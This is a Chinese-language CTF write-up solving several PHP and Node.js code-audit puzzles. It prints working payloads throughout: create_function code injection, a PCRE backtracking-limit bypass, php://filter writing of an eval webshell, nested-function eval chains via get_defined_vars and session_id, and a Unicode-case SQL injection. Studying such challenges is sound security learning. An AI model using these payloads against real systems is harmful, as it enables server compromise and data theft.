前言
最近既忙又懒,终于放了寒假,想起来看看p牛的CodeBreaking-Puzzles,学习一波。这里给P总的代码审计知识星球 小密圈打个广告,满满干货,个个都是人才,我超喜欢里面的。另外,很感谢网上现有的一些WP,帮助我这个菜鸡理解漏洞和学习。
easy - function
|
第一题,就把我难住了,感叹一下自己有多菜。。。
其实代码逻辑很简单:
这里
??
是php7+的用法,$_GET[‘action’]非空则 $action = $_GET[‘action’]
应该是利用action做函数名来执行命令,但$action的首尾做了正则限制,不能直接是函数名。
P神小密圈说到的方式用\可以绕过。原因就是\funciton是php原生函数的写法,就是以命名空间+函数名的方法来表示函数。而原生函数的命名空间是”\”。这种用法倒是在tp框架里见过,当调用一个类的时候会指明命名空间”\think\db”。
接着就是调用Create_function函数来代码注入了,具体原理参考:http://blog.51cto.com/lovexm/1743442
禁用了system()
函数,exec()函数
、passthru()函数
、shell_exec()函数
, popen()
http://51.158.75.42:8087/?action=\create_function&arg=;}system('ls');// |
file_put_contents
也没有写权限。只剩下file_get_contens
和print_r
可用。
参考王一航表哥的博客,花式列目录,花式读文件
paylaod
http://51.158.75.42:8087/?action=\create_function&arg=;}print_r(glob(%22../*%22));// |
easy - pcrewaf
|
代码逻辑很简单,对上传的文件内容做正则检测,不符合正则形式,就进行跳转执行。
问题就落在了,如何绕过这个正则检测preg_match
函数。
PRCE&分析
谷歌PCRE特性,得到一篇解释的比较不错的文章——深悉正则(pcre)最大回溯/递归限制
PRCE使用NFA正则引擎。
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态。
这是一种费贪婪匹配,非贪婪模式匹配原理简单来说是, 在可配也可不配的情况下(如 .* ), 优先不匹配. 记录备选状态, 并将匹配控制交给正则表达式的下一个匹配字符, 当之后的匹配失败的时候, 再回溯, 进行匹配.
NFA其实就像是用栈的结构来存储匹配成功的字符串,如果匹配不到下一个,则出栈进行上一个字符串匹配。
举例: |
知道了这个,于是看这个题:
preg_match('/<\?.*[(`;?>].*/is', $data) |
如果我们输入<?php print;abcd
正则的匹配控制权会先转移给 **[(;?>].** 于是先把
<?php print;abcd当做备选,然后发现d匹配不上这段正则,于是回溯到
<?php print;abc,发现c也匹配不到,回溯到b,...,最终回溯到
;`结束。
但是PHP为了防止回溯次数过多,发生拒绝服务,会有一个回溯限制。该回溯限制,可以查看,5.2以后的版本回溯次数是1000000,超过这个次数还没有匹配到,则会返回false。
root@ubuntu:/home/ldl# php -a |
POC
|
这里我傻了一下,没有先看phpinfo
的禁用函数,使劲用system()
,怎么都没回显,害得我还以为是我上传出了问题。发现禁用了一些危险函数:
换一些payload,可以读目录和文件:
cmd=print_r(scandir('../../../')); |
easy - phpmagic
功能上很明显直接用一个dig 命令查看一个可控的域名,记录到可控的日志中。
关键代码如下:
|
我们能控制文件名和文件内容,但是文件内容被htmlspecialchars
函数过滤了一次,尖括号没了,所以想直接写一个webshell是不可能的。
php://filter&file_put_contents
这里涉及到一个php黑魔法,php://filter
,只要是传filename的地方,基本都可以传协议流。
以前见到的情况和套路都是include()、file_get_contents()
的参数可控,我们用php://filter/read
配合base64-encode
可以把文件编码成base64后输出。没想到file_put_contents
文件名可控时也有magic
当我们可控的文件名$filename
传入参数php://filter/write=convert.base64-encode/resource=shell.php
,$data
传入djB3IHRlc3Q=
时,file_put_contents($file,$text)
执行的内容如下:
几个trick
那么思路也就很清晰了,我们可以通过这个方法向服务器写shell,但是还存在几个问题:
后缀名过滤真的很严格
$log_name
之前会加上$_SERVER['SERVER_NAME']
,似乎是不完全可控文件名
第一、如何绕过文件检测,这里用到一个trick:php & apache2 &操作系统之间的一些黑魔法还有https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
可以使用/.
或者\x0a
绕过。
第二、查看手册,发现我们可以通过修改HTTP headers
中的``Host的值从而控制
$_SERVER[‘SERVER_NAME’]`。那么文件名我们也完全可控了。
Note: 在 Apache 2 里,必须设置 UseCanonicalName = On 和 ServerName。 否则该值会由客户端提供,就有可能被伪造。 上下文有安全性要求的环境里,不应该依赖此值。
第三、base64在解码时,如果参数中有非法字符(不在上面64个字符内的),就会跳过。(至少在php中是这样的)还有一点需要注意base64中的=
只能出现在最末尾,而我们插入的字符串是在中间的,所以我们插入的字符串里不能有=
。
poc
"<?php @eval($_REQUEST['123']);?>") base64.b64encode( |
easy - phplimit
|
这个题目现在看,好像很简单。code参数传入一个执行的函数,与前面;
匹配的话,就执行。
关键是一个?R
的用法,不太明白也是参考这篇理解正则表达式中的(?R)递归才有所发现:
?R 表示正则递归匹配,
在这道题里,就是按照递归的方式一直匹配/[^\W]+\((?R)?\)/
,
|
就是说,匹配的函数具有这样的特点:
- 函数可以嵌套,最多一个参数
- 最里面的函数没有参数
容易找到一些payload:
?code=phpinfo(); |
有的师傅们用了get_defined_vars()
获取http请求头。其实这个之前在打awd时上流量监控部分用到过,appache可以用getallheaders()
来获取http头,但是nginx没有这个函数,可以用了get_defined_vars(),通过current()、next()
进而选择可控参数,
poc
?code=eval(next(current(get_defined_vars())));&next=var_dump(scandir('../')); |
看了大佬们的其他payload
利用session_id函数,session可控。
http://51.158.75.42:8084/?code=eval(hex2bin(session_id(session_start())));
PHPSESSID=7072696e745f722866696c655f6765745f636f6e74656e747328222e2e2f666c61675f7068706279703473732229293b熟练运用文件操作函数和next指针函数0rz
?code=print_r(scandir(dirname(chdir(dirname(getcwd())))));
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
easy – nodechr
数据库结构:
await db.exec(`CREATE TABLE "main"."users" ( |
关键代码:
function safeKeyword(keyword) { |
先将用户名和密码通过safe过滤,因为会过滤select
,没办法直接注入,但是注意到其SQL语句用到一个函数:
toUpperCase()
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`) |
这个函数在带头师傅的Unicode安全与p牛的Fuzz中的javascript大小写特性均有提及,可以通过unicode的一些其他字符经过toUpperCase()
变成英文字符,如S
,从而绕过过滤。
其中混入了两个奇特的字符”ı”、”ſ”。
这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,”ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。
把用户名和密码置空,后面用union查询flag,设置的session就是flag。
payload:
username=0&password=0' unıon ſelect 1,flag,3 from flags where '1'='1 |
还发现很多语句会导致服务器500错误,推测是云服务过了限制如#